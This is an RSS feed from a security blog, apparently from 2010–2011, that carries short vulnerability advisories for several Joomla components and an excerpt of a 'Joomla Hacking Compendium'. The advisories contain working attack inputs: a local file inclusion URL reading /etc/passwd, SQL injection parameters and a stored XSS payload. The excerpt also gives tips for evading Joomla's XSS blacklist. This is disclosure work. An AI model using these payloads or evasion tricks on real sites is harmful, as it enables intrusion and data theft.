<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ascii for Breakfast &#187; Joomla component</title>
	<atom:link href="http://www.xenuser.org/tag/joomla-component/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xenuser.org</link>
	<description></description>
	<lastBuildDate>Tue, 29 Nov 2011 23:19:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Joomla Component com_jmsfileseller Local File Inclusion Vulnerability</title>
		<link>http://www.xenuser.org/2011/05/28/joomla-component-com_jmsfileseller-local-file-inclusion-vulnerabilit/</link>
		<comments>http://www.xenuser.org/2011/05/28/joomla-component-com_jmsfileseller-local-file-inclusion-vulnerabilit/#comments</comments>
		<pubDate>Sat, 28 May 2011 08:35:03 +0000</pubDate>
		<dc:creator>valentin</dc:creator>
				<category><![CDATA[LFI]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Joomla component]]></category>
		<category><![CDATA[local file inclusion]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.xenuser.org/?p=1386</guid>
		<description><![CDATA[Please download the original advisory/exploit here. The Joomla component com_jmsfileseller suffers from a Local File Inclusion vulnerability. URL: index.php?option=com_jmsfileseller&#38;view=&#60;LFI value&#62;&#38;cat_id=1&#38;Itemid=27 Vulnerable parameter: view Example: index.php?option=com_jmsfileseller&#38;view=../../../etc/passwd%00&#38;cat_id=12&#38;Itemid=27]]></description>
			<content:encoded><![CDATA[<p>Please download the original advisory/exploit <a href="http://www.xenuser.org/documents/security/joomla_com_jmsfileseller_lfi.txt" target="_blank">here</a>.</p>
<p>The Joomla component com_jmsfileseller suffers from a Local File Inclusion vulnerability.</p>
<blockquote>
<pre>URL:
index.php?option=com_jmsfileseller&amp;view=&lt;LFI value&gt;&amp;cat_id=1&amp;Itemid=27

Vulnerable parameter:
view

Example:
index.php?option=com_jmsfileseller&amp;view=../../../etc/passwd%00&amp;cat_id=12&amp;Itemid=27</pre>
</blockquote>
<p> <img src="http://www.xenuser.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1386" width="1" height="1" style="display: none;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xenuser.org/2011/05/28/joomla-component-com_jmsfileseller-local-file-inclusion-vulnerabilit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Joomla Hacking Compendium</title>
		<link>http://www.xenuser.org/2010/12/19/the-joomla-hacking-compendium/</link>
		<comments>http://www.xenuser.org/2010/12/19/the-joomla-hacking-compendium/#comments</comments>
		<pubDate>Sun, 19 Dec 2010 16:38:21 +0000</pubDate>
		<dc:creator>valentin</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[Security in general]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[advisories]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[Cross-Site Scripting]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[doc]]></category>
		<category><![CDATA[document]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[html code injection]]></category>
		<category><![CDATA[Joomla component]]></category>
		<category><![CDATA[local file inclusion]]></category>
		<category><![CDATA[paper]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[The Joomla Hacking Compendium]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[vulnerability scanner]]></category>

		<guid isPermaLink="false">http://www.xenuser.org/?p=1298</guid>
		<description><![CDATA[Download The Joomla Hacking Compendium here. With great pleasure I hereby announce the availability of the new &#8220;The Joomla Hacking Compendium&#8221;. It contains almost 1000 lines of pure knowledge and shows you the way to hack and protect Joomla. It contains the following chapters: Please find an excerpt below:]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.xenuser.org/documents/security/joomla_hacking_compendium.txt" target="_blank">Download The Joomla Hacking Compendium here.</a></p>
<p>With great pleasure I hereby announce the availability of the new &#8220;The Joomla Hacking Compendium&#8221;. It contains almost 1000 lines of pure knowledge and shows you the way to hack and protect Joomla.</p>
<p>It contains the following chapters:</p>
<pre class="qoate-code">
0x01 - Purpose of this document
0x02 - Introduction
0x03 - The Basics of Joomla
0x04 - The Joomla core
0x05 - Joomla extensions
0x06 - Hacking Joomla
0x07 - SEO, our strongest enemy
0x08 - Examples for Joomla SQL injections
0x09 - Examples for Joomla local file inclusions
0x10 - Examples for Joomla remote file inclusions
0x11 - Examples for Joomla XSSs/CSRFs
0x12 - How to protect your Joomla
0x13 - Conclusion and a look at Joomla's feature
0x14 - How to stay informed (or: the latest vulnerabilities)
0x15 - Useful tools
0x16 - Greetings and THX
</pre>
<p>Please find an excerpt below:</p>
<pre class="qoate-code">
::
:: 0x04 - The Joomla core
::

Before inspecting the Joomla component attack vendors we first have a
look at the core.

Download Joomla somewhere and extract all files. Open the file
libraries/phpinputfilter/inputfilter.php
and look at the code:
----------------------------------------
var $tagsArray; // default = empty array
var $attrArray; // default = empty array

var $tagsMethod; // default = 0
var $attrMethod; // default = 0

var $xssAuto; // default = 1
var $tagBlacklist = array ('applet', 'body', 'bgsound' [...]
var $attrBlacklist = array ('action', 'background'     [...]
----------------------------------------

As you can see, some filter methods of Joomla are based on blacklisting.
This knowledge can be used later to exploit potential vulnerabilities in
a better way. I find this method not very effective, btw.

While HTML tags containing "body" or "bgsound" will be filtered out
at input fields or URL parameters, they can be written in many ways,
e.g. like "bOdY" or "b o DY" etc. You are only limited by your
creativity and will find ways for tricking the blacklist of the
Joomla framework.

Another interesting part is this one (same file):
----------------------------------------
/*
* Is there a tag? If so it will certainly start with a '&lt;'
*/
$tagOpen_start  = strpos($source, '&lt;');
while ($tagOpen_start !== false)
{
/*
* Get some information about the tag we are processing
*/
$preTag            .= substr($postTag, 0, $tagOpen_start);
$postTag                = substr($postTag, $tagOpen_start);
----------------------------------------

As you can see they assume that an HTML tag being used in XSS attacks
starts with a "&lt;". In fact, I never use this character and many
XSS cheatsheets suggest this, too. With this information in mind,
you can most likely avoid being detected by the filters. You can start
your XSS string with "&gt;&lt;tag... for example.

If you want to you can continue looking. You will find other filter
methods and, at the end of the file, there are also built in
mechanics which should help to prevent SQL injection vulnerabilities:
[...]
</pre>
<p> <img src="http://www.xenuser.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1298" width="1" height="1" style="display: none;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xenuser.org/2010/12/19/the-joomla-hacking-compendium/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla Component com_jsupport SQL Injection Vulnerability</title>
		<link>http://www.xenuser.org/2010/11/13/joomla-component-com_jsupport-sql-injection-vulnerability/</link>
		<comments>http://www.xenuser.org/2010/11/13/joomla-component-com_jsupport-sql-injection-vulnerability/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 23:20:30 +0000</pubDate>
		<dc:creator>valentin</dc:creator>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[com_jsupport]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Joomla component]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.xenuser.org/?p=1182</guid>
		<description><![CDATA[Please view the original advisory/exploit here. The Joomla component com_jsupport suffers from a remote SQL injection vulnerability. This vulnerability can be found by viewing the component in the Joomla administrator backend. Examples: administrator/index.php?option=com_jsupport&#38;task=listTickets&#38;alpha=[SQL Injection] administrator/index.php?option=com_jsupport&#38;task=listFaqs&#38;alpha=[SQL Injection]]]></description>
			<content:encoded><![CDATA[<p>Please view the original advisory/exploit <a href="http://www.xenuser.org/documents/security/Joomla_com_jsupport_SQLi.txt" target="_blank">here</a>.</p>
<p>The Joomla component com_jsupport suffers from a remote SQL injection vulnerability.</p>
<blockquote>
<pre>This vulnerability can be found by viewing the component in the Joomla administrator
backend.

Examples:
administrator/index.php?option=com_jsupport&amp;task=listTickets&amp;alpha=[SQL Injection]
administrator/index.php?option=com_jsupport&amp;task=listFaqs&amp;alpha=[SQL Injection]</pre>
</blockquote>
<p> <img src="http://www.xenuser.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1182" width="1" height="1" style="display: none;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xenuser.org/2010/11/13/joomla-component-com_jsupport-sql-injection-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla Component com_jsupport Critical XSS Vulnerability</title>
		<link>http://www.xenuser.org/2010/11/13/joomla-component-com_jsupport-critical-xss-vulnerability/</link>
		<comments>http://www.xenuser.org/2010/11/13/joomla-component-com_jsupport-critical-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 23:18:39 +0000</pubDate>
		<dc:creator>valentin</dc:creator>
				<category><![CDATA[XSS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[com_jsupport]]></category>
		<category><![CDATA[critical]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[html code injection]]></category>
		<category><![CDATA[Joomla component]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.xenuser.org/?p=1180</guid>
		<description><![CDATA[Please view the original advisory/exploit here. The Joomla component com_jsupport suffers from a critical XSS vulnerability: The component allows you to create and submit tickets. The tickets can be viewed on the website and in the admin panel. It is possible to inject arbitrary HTML and JS/VBS code into the title field of the ticket. [...]]]></description>
			<content:encoded><![CDATA[<p>Please view the original advisory/exploit <a href="http://www.xenuser.org/documents/security/Joomla_com_jsupport_XSS.txt" target="_blank">here</a>.</p>
<p>The Joomla component com_jsupport suffers from a critical XSS vulnerability:</p>
<blockquote>
<pre>The component allows you to create and submit tickets. The tickets can be viewed
on the website and in the admin panel.

It is possible to inject arbitrary HTML and JS/VBS code into the title field of the
ticket. If someone else views the ticket list, the code gets executed in the
visitor's browser.

This vulnerability is considered as critical since the tickets are also displayed
in the administrator backend of Joomla. As soon as a user with extended priviledges
views the ticket list in the backend, the code gets executed and damage can be caused.

Example code for the ticket title field:
"&gt;&lt;IMG """&gt;&lt;SCRIPT&gt;alert("XSS")&lt;/SCRIPT&gt;</pre>
</blockquote>
<p> <img src="http://www.xenuser.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1180" width="1" height="1" style="display: none;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xenuser.org/2010/11/13/joomla-component-com_jsupport-critical-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla Component com_restaurantguide Multiple Vulnerabilities</title>
		<link>http://www.xenuser.org/2010/09/18/joomla-component-com_restaurantguide-multiple-vulnerabilities/</link>
		<comments>http://www.xenuser.org/2010/09/18/joomla-component-com_restaurantguide-multiple-vulnerabilities/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 13:42:28 +0000</pubDate>
		<dc:creator>valentin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[com_restaurantguide]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[html code injection]]></category>
		<category><![CDATA[Joomla component]]></category>
		<category><![CDATA[local file inclusion]]></category>
		<category><![CDATA[multiple vulnerabilities]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.xenuser.org/?p=1077</guid>
		<description><![CDATA[Please view the original advisory/exploit here. The Joomla component com_restaurantguide suffers from multiple vulnerabilities. &#62;&#62; SQL Injection index.php?option=com_restaurantguide&#38;view=country&#38;id=&#8217;&#38;Itemid=69 (id parameter is vulnerable) &#62;&#62; HTML/JS/VBS Code Injection (all input fields, also in the admin backend) It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag [...]]]></description>
			<content:encoded><![CDATA[<p>Please view the original advisory/exploit <a href="http://www.xenuser.org/documents/security/joomla_com_restaurantguide_multiple_vulnerabilities.txt" target="_blank">here</a>.</p>
<p>The Joomla component com_restaurantguide suffers from multiple vulnerabilities.</p>
<p><strong>&gt;&gt; SQL Injection</strong><br />
index.php?option=com_restaurantguide&amp;view=country&amp;id=&#8217;&amp;Itemid=69<br />
(id parameter is vulnerable)</p>
<p><strong>&gt;&gt; HTML/JS/VBS Code Injection (all input fields, also in the admin backend)</strong><br />
It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag and convert your code into decimal HTMl code without semicolons:<br />
&#8220;&gt;&lt;A HREF=&#8221;http://www.google.com./&#8221;&gt;injected&lt;/A&gt;<br />
(which is &#8220;&gt;<a href="http://www.google.com./">injected</a>)<br />
The code doesn&#8217;t get parsed, so it is not possible to exploit this weakness. However, including arbitrary plain text into the current website is possible. Dangerous! <img src='http://www.xenuser.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><strong>&gt;&gt; Interesting stuff</strong><br />
<strong><em> a) Triggering various error messages in the admin panel is possible, e.g.:</em></strong><br />
administrator/index.php?option=com_restaurantguide&amp;controller=restaurantitems&amp;task=edit&amp;cid[]=[try ' or -1 or an ID which does not exist]<br />
Sometimes the code of the component gets displayed within the browser window when you try to trigger errors with different variables.</p>
<p><strong><em>b) Playing around with the controller variable</em></strong><br />
administrator/index.php?option=com_restaurantguide&amp;controller=../../../../../../../../../etc/passwd%00<br />
(NOT a LFI vulnerability since the controller classes are defined in the source code, you just get different error messages.. nothing to exploit here..) <img src="http://www.xenuser.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1077" width="1" height="1" style="display: none;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xenuser.org/2010/09/18/joomla-component-com_restaurantguide-multiple-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla Component com_golfcourseguide SQL Injection Vulnerability</title>
		<link>http://www.xenuser.org/2010/07/23/joomla-component-com_golfcourseguide-sql-injection-vulnerability/</link>
		<comments>http://www.xenuser.org/2010/07/23/joomla-component-com_golfcourseguide-sql-injection-vulnerability/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 15:32:15 +0000</pubDate>
		<dc:creator>valentin</dc:creator>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[com_golfcourseguide]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Joomla component]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.xenuser.org/?p=966</guid>
		<description><![CDATA[Please download/view the original advisory here. The Joomla component com_golfcourseguide fails to sanitize the user input and therefore suffers from a remote SQL injection vulnerability. Example URL index.php?option=com_golfcourseguide&#38;view=golfcourses&#38;cid=1&#38;id=[SQL Injection] Versions affected v0.9.6.0 beta, v1 beta]]></description>
			<content:encoded><![CDATA[<p>Please download/view the original advisory <a href="http://www.xenuser.org/documents/security/joomla_com_golfcourseguide_sqli.txt" target="_blank">here</a>.</p>
<p>The Joomla component com_golfcourseguide fails to sanitize the user input and therefore suffers from a remote SQL injection vulnerability.</p>
<p><strong>Example URL</strong><br />
index.php?option=com_golfcourseguide&amp;view=golfcourses&amp;cid=1&amp;id=[SQL Injection]</p>
<p><strong>Versions affected</strong><br />
v0.9.6.0 beta, v1 beta <img src="http://www.xenuser.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=966" width="1" height="1" style="display: none;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xenuser.org/2010/07/23/joomla-component-com_golfcourseguide-sql-injection-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

